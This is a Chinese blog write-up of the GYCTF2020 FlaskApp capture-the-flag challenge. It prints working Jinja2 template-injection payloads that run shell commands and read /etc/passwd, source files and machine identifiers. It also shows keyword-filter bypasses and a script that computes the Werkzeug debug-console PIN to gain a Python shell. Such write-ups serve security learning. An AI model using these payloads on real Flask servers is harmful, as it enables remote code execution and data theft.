• ssti python 沙箱jinja2利用,PIN获取之[GYCTF2020]FlaskApp


    知识点:
    ssti :

    参考:PayloadsAllTheThings/Server Side Template Injection at master · swisskyrepo/PayloadsAllTheThings · GitHub

    首先判断是什么类型的ssti,再利用,这里通过报错抛出debug信息的内容判断:爆出的报错部分的代码里面的特殊函数;比如:render_template_string 是jinja2

    使用payload:

    查看根目录

     {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}
     

     会有waf:存在过滤;

    读取源码直接用open:

     {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read()}}{% endif %}{% endfor %}
     

    关于绕过,flag,os,system,popen,import,eval,chr,request,
    subprocess,commands,socket,hex,base64,*,?被过滤,可以使用符号拼接:

    import = imp + ort os =o+s

    使用拼接查看目录:

    {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}
     

    看到flag文件:

     {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read()}}{% endif %}{% endfor %}
     

    还可以使用切片绕过:

     {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read()}}{% endif %}{% endfor %}
     

     知识点2:

    一般debug页面中包含Python的交互式shell,可以执行任意Python代码,但是这一般需要PIN才有权限,

    参考Flask开启debug模式等于给黑客留了后门 - 知乎

     得到PIN码需要六个信息,其中2和3易知

    flask所登录的用户名
    modname,一般是flask.app
    getattr(app, “name”, app.class.name)。一般为Flask
    flask库下app.py的绝对路径。这个可以由报错信息看出
    当前网络的mac地址的十进制数。
    机器的id。

     

    1. flask用户名可以通过读取/etc/passwd
    {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/etc/passwd','r').read() }}{% endif %}{% endfor %}
    

    2.app.py通过报错或得

    3. mac地址的十进制数

    首先要得到网卡 /sys/class/net/eth0/address

     {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/sys/class/net/eth0/address','r').read() }}{% endif %}{% endfor %}
     

    得到的Mac地址:print(int('去掉“:”后的地址',16)) 

    4.docker机器的id

    对于非docker机每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_i,有的系统没有这两个文件。 对于docker机则读取/proc/self/cgroup,其中第一行的/docker/字符串后面的内容作为机器的id,

     {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/proc/self/cgroup','r').read() }}{% endif %}{% endfor %}
     

    然后就是上代码:

    1. import hashlib
    2. from itertools import chain
    3. probably_public_bits = [
    4. 'flaskweb'# username
    5. 'flask.app',# modname
    6. 'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    7. '/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
    8. ]
    9. private_bits = [
    10. '2485377864455',# str(uuid.getnode()), /sys/class/net/ens33/address
    11. 'ad4fc7650590f81ec6ab4e3a40f284a6b5a75454fcb50d6ee5347eba94a124c8'# get_machine_id(), /etc/machine-id
    12. ]
    13. h = hashlib.md5()
    14. for bit in chain(probably_public_bits, private_bits):
    15. if not bit:
    16. continue
    17. if isinstance(bit, str):
    18. bit = bit.encode('utf-8')
    19. h.update(bit)
    20. h.update(b'cookiesalt')
    21. cookie_name = '__wzd' + h.hexdigest()[:20]
    22. num = None
    23. if num is None:
    24. h.update(b'pinsalt')
    25. num = ('%09d' % int(h.hexdigest(), 16))[:9]
    26. rv =None
    27. if rv is None:
    28. for group_size in 5, 4, 3:
    29. if len(num) % group_size == 0:
    30. rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
    31. for x in range(0, len(num), group_size))
    32. break
    33. else:
    34. rv = num
    35. print(rv)

     得到pin之后就输入就行;

    就可以操作python交互端

    参考:[GYCTF2020]FlaskApp 1(SSTI,PIN)_满月*的博客-CSDN博客

  • 相关阅读:
    c++11的类型推导auto使用
    Vue项目中 vantUI中tab标签栏下划线位置异常,指定下标但是显示还是默认下标。解决方案
    【软件工程_软件工程项目管理】课后题
    OpenCV中拟合线性方程(最小二乘法)
    面试题库(七):Spring相关
    python selenium这一篇就够了
    Android 安卓 Soong构建系统——Blueprint Android.bp配置文件解析
    百度飞桨“万有引力”2022首站落地苏州,全面启动中小企业赋能计划
    最新电容笔推荐,2022年电容笔十大品牌排行榜
    springboot整合freemarker根据模板导出excel
  • 原文地址:https://blog.csdn.net/qq_58970968/article/details/126431849